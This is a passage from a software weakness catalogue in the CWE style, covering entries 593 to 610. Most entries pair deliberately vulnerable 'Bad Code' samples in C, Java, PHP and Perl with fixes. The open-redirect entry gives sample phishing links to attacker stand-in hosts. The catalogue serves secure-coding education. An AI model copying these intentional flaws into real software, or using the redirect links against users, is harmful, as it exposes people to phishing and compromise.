This weakness has been deprecated because it covered redundant concepts already described in CWE-287.

CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created

Weakness ID: 593 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software modifies the SSL context after connection creation has begun.

Extended Description

If the program modifies the SSL_CTX object after creating SSL objects from it, there is the possibility that older SSL objects created from the original context could all be affected by that change.

Time of Introduction

- Architecture and Design
- Implementation

Common Consequences

Access Control

Bypass protection mechanism

No authentication takes place in this process, bypassing an assumed protection of encryption.

Confidentiality
Read application data

The encrypted communication between a user and a trusted host may be subject to a "man in the middle" sniffing attack.

Demonstrative Examples

C Example: *Bad Code*

```
#define CERT "secret.pem"
#define CERT2 "secret2.pem"
int main(){
  SSL_CTX *ctx;
  SSL *ssl;
  init_OpenSSL();
  seed_prng();
  ctx = SSL_CTX_new(SSLv23_method());
  if (SSL_CTX_use_certificate_chain_file(ctx, CERT) != 1)
    int_error("Error loading certificate from file");
  if (SSL_CTX_use_PrivateKey_file(ctx, CERT, SSL_FILETYPE_PEM) != 1)
    int_error("Error loading private key from file");
  if (!(ssl = SSL_new(ctx)))
    int_error("Error creating an SSL context");
  if ( SSL_CTX_set_default_passwd_cb(ctx, "new default password" != 1))
    int_error("Doing something which is dangerous to do anyways");
  if (!(ssl2 = SSL_new(ctx)))
    int_error("Error creating an SSL context");
}
```

Potential Mitigations

Architecture and Design

Use a language or a library that provides a cryptography framework at a higher level of abstraction.

Implementation

Most SSL_CTX functions have SSL counterparts that act on SSL-type objects.

Implementation

Applications should set up an SSL_CTX completely, before creating SSL objects from it.

CWE-594: J2EE Framework: Saving Unserializable Objects to Disk

Weakness ID: 594 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

When the J2EE container attempts to write unserializable objects to disk there is no guarantee that the process will complete successfully.

Extended Description

In heavy load conditions, most J2EE application frameworks flush objects to disk to manage memory requirements of incoming requests. For example, session scoped objects, and even application scoped objects, are written to disk when required. While these application frameworks do the real work of writing objects to disk, they do not enforce that those objects be serializable, thus leaving the web application vulnerable to crashes induced by serialization failure. An attacker may be able to mount a denial of service attack by sending enough requests to the server to force the web application to save objects to disk.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Integrity
Modify application data

Data represented by unserializable objects can be corrupted.

Availability
DoS: crash / exit / restart

Non-serializability of objects can lead to system crash.

Demonstrative Examples

In the following Java example, a Customer Entity JavaBean provides access to customer information in a database for a business application. The Customer Entity JavaBean is used as a session scoped object to return customer information to a Session EJB.

Java Example: *Bad Code*

```
@Entity
public class Customer {
  private String id;
  private String firstName;
  private String lastName;
  private Address address;
  public Customer() {
  }
  public Customer(String id, String firstName, String lastName) {...}
  @Id
  public String getCustomerId() {...}
  public void setCustomerId(String id) {...}
  public String getFirstName() {...}
  public void setFirstName(String firstName) {...}
  public String getLastName() {...}
  public void setLastName(String lastName) {...}
  @OneToOne()
  public Address getAddress() {...}
  public void setAddress(Address address) {...}
}
```

However, the Customer Entity JavaBean is an unserialized object which can cause serialization failure and crash the application when the J2EE container attempts to write the object to the system. Session scoped objects must implement the Serializable interface to ensure that the objects serialize properly.

Java Example: *Good Code*

```
public class Customer implements Serializable {...}
```

Potential Mitigations

Architecture and Design
Implementation

All objects that become part of session and application scope must implement the java.io.Serializable interface to ensure serializability of containing objects.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP1	Glitch in computation

CWE-595: Comparison of Object References Instead of Object Contents

Weakness ID: 595 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The program compares object references instead of the contents of the objects themselves, preventing it from detecting equivalent objects.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java
- Language-independent

Common Consequences

Other

Other

Varies by context

This weakness can lead to erroneous results that can cause unexpected application behaviors.

Demonstrative Examples

Example 1:

In the example below, two Java String objects are declared and initialized with the same string values and an if statement is used to determine if the strings are equivalent.

Java Example: *Bad Code*

```
String str1 = new String("Hello");
String str2 = new String("Hello");
if (str1 == str2) {
  System.out.println("str1 == str2");
}
```

However, the if statement will not be executed as the strings are compared using the "==" operator. For Java objects, such as String objects, the "==" operator compares object references, not object values. While the two String objects above contain the same string values, they refer to different object references, so the System.out.println statement will not be executed. To compare object values, the previous code could be modified to use the equals method:

Good Code

```
if (str1.equals(str2)) {
  System.out.println("str1 equals str2");
}
```

Example 2:

In the following Java example, two BankAccount objects are compared in the isSameAccount method using the == operator.

Java Example: *Bad Code*

```
public boolean isSameAccount(BankAccount accountA, BankAccount accountB) {
  return accountA == accountB;
}
```

Using the == operator to compare objects may produce incorrect or deceptive results by comparing object references rather than values. The equals() method should be used to ensure correct results or objects should contain a member variable that uniquely identifies the object.

The following example shows the use of the equals() method to compare the BankAccount objects and the next example uses a class get method to retrieve the bank account number that uniquely identifies the BankAccount object to compare the objects.

Java Example: *Good Code*

```
public boolean isSameAccount(BankAccount accountA, BankAccount accountB) {
  return accountA.equals(accountB);
}
```

Potential Mitigations

Implementation

Use the equals() method to compare objects instead of the == operator. If using ==, it is important for performance reasons that your objects are created by a static factory, not by a constructor.

Other Notes

This problem can cause unexpected application behavior. Comparing objects using == usually produces deceptive results, since the == operator compares object references rather than values. To use == on a string, the programmer has to make sure that these objects are unique in the program, that is, that they don't have the equals method defined or have a static factory that produces unique objects.

CWE-596: Incorrect Semantic Object Comparison

Weakness ID: 596 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software does not correctly compare two objects based on their conceptual content.

Time of Introduction

- Implementation

Common Consequences

Other

Other

Detection Methods

Manual Static Analysis

Requires domain-specific knowledge to determine if the comparison is incorrect.

Demonstrative Examples

For example, let's say you have two truck objects that you want to compare for equality. Truck objects are defined to be the same if they have the same make, the same model, and were manufactured in the same year. A Semantic Incorrect Object Comparison would occur if only two of the three factors were checked for equality. So if only make and model are compared and the year is ignored, then you have an incorrect object comparison.

Java Example: *Bad Code*

```
public class Truck {
  private String make;
  private String model;
  private int year;
  public boolean equals(Object o) {
    if (o == null) return false;
    if (o == this) return true;
    if (!(o instanceof Truck)) return false;
    Truck t = (Truck) o;
    return (this.make.equals(t.getMake()) && this.model.equals(t.getModel()));
  }
}
```

CWE-597: Use of Wrong Operator in String Comparison

Weakness ID: 597 *(Weakness Variant)* **Status:** Draft

Description

Summary

The product uses the wrong operator when comparing a string, such as using "==" when the equals() method should be used instead.

Extended Description

In Java, using == or != to compare two strings for equality actually compares two objects for equality, not their values. Chances are good that the two references will never be equal. While this weakness often only affects program correctness, if the equality is used for a security decision, it could be leveraged to affect program security.

Time of Introduction

- Implementation

Common Consequences

Other

Other

Demonstrative Examples

In the example below, two Java String objects are declared and initialized with the same string values and an if statement is used to determine if the strings are equivalent.

Java Example: *Bad Code*

```
String str1 = new String("Hello");
String str2 = new String("Hello");
if (str1 == str2) {
  System.out.println("str1 == str2");
}
```

However, the if statement will not be executed as the strings are compared using the "==" operator. For Java objects, such as String objects, the "==" operator compares object references, not object values. While the two String objects above contain the same string values, they refer to different object references, so the System.out.println statement will not be executed. To compare object values, the previous code could be modified to use the equals method:

Good Code

```
if (str1.equals(str2)) {
  System.out.println("str1 equals str2");
}
```

Potential Mitigations

Implementation

High

Use equals() to compare strings.

CWE-598: Information Exposure Through Query Strings in GET Request

Weakness ID: 598 *(Weakness Variant)* **Status:** Draft

Description

Summary

The web application uses the GET method to process requests that contain sensitive information, which can expose that information through the browser's history, Referers, web logs, and other sources.

Time of Introduction

- Architecture and Design
- Implementation

Common Consequences

Confidentiality

Read application data

At a minimum, attackers can garner information from query strings that can be utilized in escalating their method of attack, such as information about the internal workings of the application or database column names. Successful exploitation of query string parameter vulnerabilities could lead to an attacker impersonating a legitimate user, obtaining proprietary data, or simply executing actions not intended by the application developers.

Potential Mitigations

Implementation

When sensitive information is sent, use of the POST method is recommended (e.g. registration form).

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		200	Information Exposure	**699** **1000**	384

CWE-599: Missing Validation of OpenSSL Certificate

Weakness ID: 599 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software uses OpenSSL and trusts or uses a certificate without using the SSL_get_verify_result() function to ensure that the certificate satisfies all necessary security requirements.

Extended Description

This could allow an attacker to use an invalid certificate to claim to be a trusted host, use expired certificates, or conduct other attacks that could be detected if the certificate is properly validated.

Time of Introduction

- Architecture and Design
- Implementation

Common Consequences

Confidentiality
Read application data

The data read may not be properly secured, it might be viewed by an attacker.

Access Control
Bypass protection mechanism
Gain privileges / assume identity

Trust afforded to the system in question may allow for spoofing or redirection attacks.

Access Control
Gain privileges / assume identity

If the certificate is not checked, it may be possible for a redirection or spoofing attack to allow a malicious host with a valid certificate to provide data under the guise of a trusted host. While the attacker in question may have a valid certificate, it may simply be a valid certificate for a different site. In order to ensure data integrity, we must check that the certificate is valid, and that it pertains to the site we wish to access.

Demonstrative Examples

The following OpenSSL code ensures that the host has a certificate.

C Example: *Bad Code*

```
if (cert = SSL_get_peer_certificate(ssl)) {
  // got certificate, host can be trusted
  //foo=SSL_get_verify_result(ssl);
  //if (X509_V_OK==foo) ...
}
```

Note that the code does not call SSL_get_verify_result(ssl), which effectively disables the validation step that checks the certificate.

Potential Mitigations

Architecture and Design

Ensure that proper authentication is included in the system design.

Implementation

Understand and properly implement all checks necessary to ensure the identity of entities involved in encrypted communications.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	295	Improper Certificate Validation	**699** **1000**	522
ChildOf	C	948	SFP Secondary Cluster: Digital Certificate	**888**	1376

Relationship Notes

CWE-295 and CWE-599 are very similar, although CWE-599 has a more narrow scope that is only applied to OpenSSL certificates. As a result, other children of CWE-295 can be regarded as children of CWE-599 as well. CWE's use of one-dimensional hierarchical relationships is not well-suited to handle different kinds of abstraction relationships based on concepts like types of resources ("OpenSSL certificate" as a child of "any certificate") and types of behaviors ("not validating expiration" as a child of "improper validation").

CWE-600: Uncaught Exception in Servlet

Weakness ID: 600 *(Weakness Base)* **Status:** Draft

Description

Summary

The Servlet does not catch all exceptions, which may reveal sensitive debugging information.

Extended Description

When a Servlet throws an exception, the default error response the Servlet container sends back to the user typically includes debugging information. This information is of great value to an attacker. For example, a stack trace might show the attacker a malformed SQL query string, the type of database being used, and the version of the application container. This information enables the attacker to target known vulnerabilities in these components.

Alternate Terms

Missing Catch Block

Time of Introduction

- Implementation

Common Consequences

Confidentiality
Availability
Read application data
DoS: crash / exit / restart

Demonstrative Examples

In the following method a DNS lookup failure will cause the Servlet to throw an exception.

Java Example: *Bad Code*

```
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {
  String ip = req.getRemoteAddr();
  InetAddress addr = InetAddress.getByName(ip);
  ...
  out.println("hello " + addr.getHostName());
}
```

Potential Mitigations

Implementation

Implement Exception blocks to handle all types of Exceptions.

Relationships

Nature	Type	ID	Name	V	Page
CanPrecede	B	209	Information Exposure Through an Error Message	1000	397
ChildOf	B	248	Uncaught Exception	**1000**	439

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT Java Secure Coding	ERR01-J	Do not allow exceptions to expose sensitive information
Software Fault Patterns	SFP4	Unchecked Status Condition

Maintenance Notes

The "Missing Catch Block" concept is probably broader than just Servlets, but the broader concept is not sufficiently covered in CWE.

CWE-601: URL Redirection to Untrusted Site ('Open Redirect')

Weakness ID: 601 *(Weakness Variant)* **Status:** Draft

Description

Summary

A web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect. This simplifies phishing attacks.

Extended Description

An http parameter may contain a URL value and could cause the web application to redirect the request to the specified URL. By modifying the URL value to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts have a more trustworthy appearance.

Alternate Terms

Open Redirect

Cross-site Redirect

Cross-domain Redirect

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-independent

Architectural Paradigms

- Web-based

Common Consequences

Access Control
Bypass protection mechanism
Gain privileges / assume identity

The user may be redirected to an untrusted page that contains malware which may then compromise the user's machine. This will expose the user to extensive risk and the user's interaction with the web server may also be compromised if the malware conducts keylogging or other attacks that steal credentials, personally identifiable information (PII), or other important data.

Access Control
Confidentiality
Other
Bypass protection mechanism
Gain privileges / assume identity
Other

The user may be subjected to phishing attacks by being redirected to an untrusted page. The phishing attack may point to an attacker controlled web page that appears to be a trusted web site. The phishers may then steal the user's credentials and then use these credentials to access the legitimate web site.

Likelihood of Exploit

Low to Medium

Detection Methods

Manual Static Analysis
High

Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

Automated Dynamic Analysis

Automated black box tools that supply URLs to every input may be able to spot Location header modifications, but test case coverage is a factor, and custom redirects may not be detected.

Automated Static Analysis

Automated static analysis tools may not be able to determine whether input influences the beginning of a URL, which is important for reducing false positives.

Other

Whether this issue poses a vulnerability will be subject to the intended behavior of the application. For example, a search engine might intentionally provide redirects to arbitrary URLs.

Automated Static Analysis - Binary / Bytecode
SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

Dynamic Analysis with automated results interpretation

Highly cost effective:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples

Example 1:

The following code obtains a URL from the query string and then redirects the user to that URL.

PHP Example: *Bad Code*

```
$redirect_url = $_GET['url'];
header("Location: " . $redirect_url);
```

The problem with the above code is that an attacker could use this page as part of a phishing scam by redirecting users to a malicious site. For example, assume the above code is in the file example.php. An attacker could supply a user with the following link:

Attack

```
http://example.com/example.php?url=http://malicious.example.com
```

The user sees the link pointing to the original trusted site (example.com) and does not realize the redirection that could take place.

Example 2:

The following code is a Java servlet that will receive a GET request with a url parameter in the request to redirect the browser to the address specified in the url parameter. The servlet will retrieve the url parameter value from the request and send a response to redirect the browser to the url address.

Java Example: *Bad Code*

```
public class RedirectServlet extends HttpServlet {
  protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException,
  IOException {
    String query = request.getQueryString();
    if (query.contains("url")) {
      String url = request.getParameter("url");
      response.sendRedirect(url);
    }
  }
}
```

The problem with this Java servlet code is that an attacker could use the RedirectServlet as part of a e-mail phishing scam to redirect users to a malicious site. An attacker could send an HTML formatted e-mail directing the user to log into their account by including in the e-mail the following link:

HTML Example: *Attack*

```
<a href="http://bank.example.com/redirect?url=http://attacker.example.net">Click here to log in</a>
```

The user may assume that the link is safe since the URL starts with their trusted bank, bank.example.com. However, the user will then be redirected to the attacker's web site (attacker.example.net) which the attacker may have made to appear very similar to bank.example.com. The user may then unwittingly enter credentials into the attacker's web page and compromise their bank account. A Java servlet should never redirect a user to a URL without verifying that the redirect address is a trusted site.

Observed Examples

Reference	Description
CVE-2005-4206	URL parameter loads the URL into a frame and causes it to appear to be part of a valid page.
CVE-2008-2052	Open redirect vulnerability in the software allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the proper parameter.
CVE-2008-2951	An open redirect vulnerability in the search script in the software allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL as a parameter to the proper function.

Potential Mitigations

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Use a whitelist of approved URLs or domains to be used for redirection.

Architecture and Design

Use an intermediate disclaimer page that provides the user with a clear warning that they are leaving the current site. Implement a long timeout before the redirect occurs, or force the user to click on the link. Be careful to avoid XSS problems (CWE-79) when generating the disclaimer page.

Architecture and Design

Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

For example, ID 1 could map to "/login.asp" and ID 2 could map to "http://www.example.com/". Features such as the ESAPI AccessReferenceMap [R.601.4] provide this capability.

Architecture and Design

Ensure that no externally-supplied requests are honored by requiring that all redirect requests include a unique nonce generated by the application [R.601.1]. Be sure that the nonce is not predictable (CWE-330).

Note that this can be bypassed using XSS (CWE-79).

Architecture and Design
Implementation
Identify and Reduce Attack Surface

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Many open redirect problems occur because the programmer assumed that certain inputs could not be modified, such as cookies and hidden form fields.

Operation
Firewall
Moderate

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Background Details

Phishing is a general term for deceptive attempts to coerce private information from users that will be used for identity theft.

CWE-602: Client-Side Enforcement of Server-Side Security

Weakness ID: 602 *(Weakness Base)* **Status:** Draft

Description

Summary

The software is composed of a server that relies on the client to implement a mechanism that is intended to protect the server.

Extended Description

When the server relies on protection mechanisms placed on the client side, an attacker can modify the client-side behavior to bypass the protection mechanisms resulting in potentially unexpected interactions between the client and server. The consequences will vary, depending on what the mechanisms are trying to protect.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Architectural Paradigms

- Client-Server *(Sometimes)*

Common Consequences

Access Control
Availability
Bypass protection mechanism
DoS: crash / exit / restart

Client-side validation checks can be easily bypassed, allowing malformed or unexpected input to pass into the application, potentially as trusted data. This may lead to unexpected states, behaviors and possibly a resulting crash.

Access Control
Bypass protection mechanism
Gain privileges / assume identity

Client-side checks for authentication can be easily bypassed, allowing clients to escalate their access levels and perform unintended actions.

Likelihood of Exploit

Medium

Enabling Factors for Exploitation

Consider a product that consists of two or more processes or nodes that must interact closely, such as a client/server model. If the product uses protection schemes in the client in order to defend from attacks against the server, and the server does not use the same schemes, then an attacker could modify the client in a way that bypasses those schemes. This is a fundamental design flaw that is primary to many weaknesses.

Demonstrative Examples

This example contains client-side code that checks if the user authenticated successfully before sending a command. The server-side code performs the authentication in one step, and executes the command in a separate step.

CLIENT-SIDE (client.pl)

Perl Example:

Good Code

```
$server = "server.example.com";
$username = AskForUserName();
$password = AskForPassword();
$address = AskForAddress();
$sock = OpenSocket($server, 1234);
writeSocket($sock, "AUTH $username $password\n");
$resp = readSocket($sock);
if ($resp eq "success") {
  # username/pass is valid, go ahead and update the info!
  writeSocket($sock, "CHANGE-ADDRESS $username $address\n";
}
else {
  print "ERROR: Invalid Authentication!\n";
}
```

SERVER-SIDE (server.pl):

Bad Code

```
$sock = acceptSocket(1234);
($cmd, $args) = ParseClientRequest($sock);
if ($cmd eq "AUTH") {
  ($username, $pass) = split(/\s+/, $args, 2);
  $result = AuthenticateUser($username, $pass);
  writeSocket($sock, "$result\n");
  # does not close the socket on failure; assumes the
  # user will try again
}
elsif ($cmd eq "CHANGE-ADDRESS") {
  if (validateAddress($args)) {
    $res = UpdateDatabaseRecord($username, "address", $args);
    writeSocket($sock, "SUCCESS\n");
  }
  else {
    writeSocket($sock, "FAILURE -- address is malformed\n");
  }
}
```

The server accepts 2 commands, "AUTH" which authenticates the user, and "CHANGE-ADDRESS" which updates the address field for the username. The client performs the authentication and only sends a CHANGE-ADDRESS for that user if the authentication succeeds. Because the client has already performed the authentication, the server assumes that the username in the CHANGE-ADDRESS is the same as the authenticated user. An attacker could modify the client by removing the code that sends the "AUTH" command and simply executing the CHANGE-ADDRESS.

Observed Examples

Reference	Description
CVE-2006-6994	ASP program allows upload of .asp files by bypassing client-side checks.
CVE-2007-0100	client allows server to modify client's configuration and overwrite arbitrary files.
CVE-2007-0163	steganography products embed password information in the carrier file, which can be extracted from a modified client.
CVE-2007-0164	steganography products embed password information in the carrier file, which can be extracted from a modified client.

Potential Mitigations

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

Architecture and Design

If some degree of trust is required between the two entities, then use integrity checking and strong authentication to ensure that the inputs are coming from a trusted source. Design the product so that this trust is managed in a centralized fashion, especially if there are complex or numerous communication channels, in order to reduce the risks that the implementer will mistakenly omit a check in a single code path.

Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Research Gaps

Server-side enforcement of client-side security is conceptually likely to occur, but some architectures might have these strong dependencies as part of legitimate behavior, such as thin clients.

CWE-603: Use of Client-Side Authentication

Weakness ID: 603 *(Weakness Base)* **Status:** Draft

Description

Summary

A client/server product performs authentication within client code but not in server code, allowing server-side authentication to be bypassed via a modified client that omits the authentication check.

Extended Description

Client-side authentication is extremely weak and may be breached easily. Any attacker may read the source code and reverse-engineer the authentication mechanism to access parts of the application which would otherwise be protected.

Time of Introduction

- Architecture and Design
- Implementation

Common Consequences

Access Control
Bypass protection mechanism
Gain privileges / assume identity

Observed Examples

Reference	Description
CVE-2006-0230	Client-side check for a password allows access to a server using crafted XML requests from a modified client.

Potential Mitigations

Architecture and Design

Do not rely on client side data. Always perform server side authentication.

Relationships

Nature	Type	ID	Name	V	Page

References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Untrustworthy Credentials", Page 37.. 1st Edition. Addison Wesley. 2006.

Maintenance Notes

Note that there is a close relationship between this weakness and CWE-656 (Reliance on Security through Obscurity). If developers do not believe that a user can reverse engineer a client, then they are more likely to choose client-side authentication in the belief that it is safe.

CWE-604: Deprecated Entries

View ID: 604 *(View: Implicit Slice)* **Status:** Draft

Objective

CWE nodes in this view (slice) have been deprecated. There should be a reference pointing to the replacement in each deprecated weakness.

CWE-605: Multiple Binds to the Same Port

Weakness ID: 605 *(Weakness Base)* **Status:** Draft

Description

Summary

When multiple sockets are allowed to bind to the same port, other services on that port may be stolen or spoofed.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Common Consequences

Confidentiality
Integrity
Read application data

Packets from a variety of network services may be stolen or the services spoofed.

Enabling Factors for Exploitation

On most systems, a combination of setting the SO_REUSEADDR socket option, and a call to bind() allows any process to bind to a port to which a previous process has bound with INADDR_ANY. This allows a user to bind to the specific address of a server bound to INADDR_ANY on an unprivileged port, and steal its udp packets/tcp connection.

Demonstrative Examples

This code binds a server socket to port 21, allowing the server to listen for traffic on that port.

C Example: *Bad Code*

```
void bind_socket(void) {
  int server_sockfd;
  int server_len;
  struct sockaddr_in server_address;
  /*unlink the socket if already bound to avoid an error when bind() is called*/
  unlink("server_socket");
  server_sockfd = socket(AF_INET, SOCK_STREAM, 0);
  server_address.sin_family = AF_INET;
  server_address.sin_port = 21;
  server_address.sin_addr.s_addr = htonl(INADDR_ANY);
  server_len = sizeof(struct sockaddr_in);
  bind(server_sockfd, (struct sockaddr *) &s1, server_len);
}
```

This code may result in two servers binding a socket to same port, thus receiving each other's traffic. This could be used by an attacker to steal packets meant for another process, such as a secure FTP server.

Potential Mitigations

Policy

Restrict server socket address to known local addresses.

CWE-606: Unchecked Input for Loop Condition

Weakness ID: 606 *(Weakness Base)* **Status:** Draft

Description

Summary

The product does not properly check inputs that are used for loop conditions, potentially leading to a denial of service because of excessive looping.

Time of Introduction

- Implementation

Common Consequences

Availability
DoS: resource consumption (CPU)

Demonstrative Examples

C Example: *Bad Code*

```
void iterate(int n){
  int i;
  for (i = 0; i < n; i++){
    foo();
  }
}
void iterateFoo()
{
  unsigned int num;
  scanf("%u",&num);
  iterate(num);
}
```

Potential Mitigations

Implementation

Do not use user-controlled data for loop conditions.

Implementation

Perform input validation.

Relationships

CWE-607: Public Static Final Field References Mutable Object

Weakness ID: 607 *(Weakness Variant)* **Status:** Draft

Description

Summary

A public or protected static final field references a mutable object, which allows the object to be changed by malicious code, or accidentally from another package.

Time of Introduction
- Implementation

Applicable Platforms
Languages
- Java

Common Consequences
Integrity
Modify application data

Demonstrative Examples
Here, an array (which is inherently mutable) is labeled public static final.

Java Example: *Bad Code*

```
public static final String[] USER_ROLES;
```

Potential Mitigations
Implementation

Protect mutable objects by making them private. Restrict access to the getter and setter as well.

Relationships
Nature	Type	ID	Name	V	Page

Software Fault Patterns	SFP23	Exposed Data

CWE-608: Struts: Non-private Field in ActionForm Class

Weakness ID: 608 *(Weakness Variant)* **Status:** Draft

Description
Summary

An ActionForm class contains a field that has not been declared private, which can be accessed without using a setter or getter.

Time of Introduction
- Implementation

Applicable Platforms
Languages
- Java

Common Consequences
Integrity
Confidentiality
Modify application data
Read application data

Demonstrative Examples
In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for a online business site. The user will enter registration data and through the Struts framework the RegistrationForm bean will maintain the user data.

Java Example: *Bad Code*

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
  // variables for registration form
  public String name;
```

```
  public String email;
  ...
  public RegistrationForm() {
    super();
  }
  public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}
  ...
}
```

However, within the RegistrationForm the member variables for the registration form input data are declared public not private. All member variables within a Struts framework ActionForm class must be declared private to prevent the member variables from being modified without using the getter and setter methods. The following example shows the member variables being declared private and getter and setter methods declared for accessing the member variables.

Java Example: *Good Code*

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
  // private variables for registration form
  private String name;
  private String email;
  ...
  public RegistrationForm() {
    super();
  }
  public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}
  // getter and setter methods for private variables
  ...
}
```

Potential Mitigations

Implementation

Make all fields private. Use getter to get the value of the field. Setter should be used only by the framework; setting an action form field from other actions is bad practice and should be avoided.

CWE-609: Double-Checked Locking

Weakness ID: 609 *(Weakness Base)* **Status:** Draft

Description

Summary

The program uses double-checked locking to access a resource without the overhead of explicit synchronization, but the locking is insufficient.

Extended Description

Double-checked locking refers to the situation where a programmer checks to see if a resource has been initialized, grabs a lock, checks again to see if the resource has been initialized, and then performs the initialization if it has not occurred yet. This should not be done, as is not guaranteed to work in all languages and on all architectures. In summary, other threads may not be operating inside the synchronous block and are not guaranteed to see the operations execute in the same order as they would appear inside the synchronous block.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Integrity
Other
Modify application data
Alter execution logic

Demonstrative Examples

It may seem that the following bit of code achieves thread safety while avoiding unnecessary synchronization...

Java Example: *Bad Code*

```
if (helper == null) {
  synchronized (this) {
    if (helper == null) {
      helper = new Helper();
    }
  }
}
return helper;
```

The programmer wants to guarantee that only one Helper() object is ever allocated, but does not want to pay the cost of synchronization every time this code is called.

Suppose that helper is not initialized. Then, thread A sees that helper==null and enters the synchronized block and begins to execute:

Bad Code

```
helper = new Helper();
```

If a second thread, thread B, takes over in the middle of this call and helper has not finished running the constructor, then thread B may make calls on helper while its fields hold incorrect values.

Potential Mitigations

Implementation

While double-checked locking can be achieved in some languages, it is inherently flawed in Java before 1.5, and cannot be achieved without compromising platform independence. Before Java 1.5, only use of the synchronized keyword is known to work. Beginning in Java 1.5, use of the "volatile" keyword allows double-checked locking to work successfully, although there is some debate as to whether it achieves sufficient performance gains. See references.

CWE-610: Externally Controlled Reference to a Resource in Another Sphere

Weakness ID: 610 *(Weakness Class)* **Status:** Draft

Description

Summary

The product uses an externally controlled name or reference that resolves to a resource that is outside of the intended control sphere.

Extended Description

Time of Introduction

- Architecture and Design

Common Consequences

Confidentiality
Integrity
Read application data
Modify application data

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	265	Privilege / Sandbox Issues	**699**	470
ChildOf	C	664	Improper Control of a Resource Through its Lifetime	**1000** **1003**	1028
ChildOf	C	980	SFP Secondary Cluster: Link in Resource Name Resolution	**888**	1388
ParentOf	B	*15*	*External Control of System or Configuration Setting*	*1000*	*14*
ParentOf	C	*73*	*External Control of File Name or Path*	*1000*	*108*
PeerOf	B	*386*	*Symbolic Name not Mapping to Correct Object*	*1000*	*668*
ParentOf	C	*441*	*Unintended Proxy or Intermediary ('Confused Deputy')*	***699*** ***1000*** ***1003***	*755*
